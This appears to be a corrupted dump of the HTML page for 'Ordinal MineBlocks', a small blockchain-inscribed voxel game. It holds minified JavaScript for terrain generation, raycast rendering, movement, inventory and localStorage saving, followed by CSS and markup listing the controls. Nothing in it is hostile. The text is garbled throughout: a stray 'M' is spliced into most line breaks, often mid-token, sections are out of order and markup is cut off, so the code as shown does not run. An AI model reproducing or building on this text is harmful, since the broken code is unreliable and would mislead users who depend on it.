et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
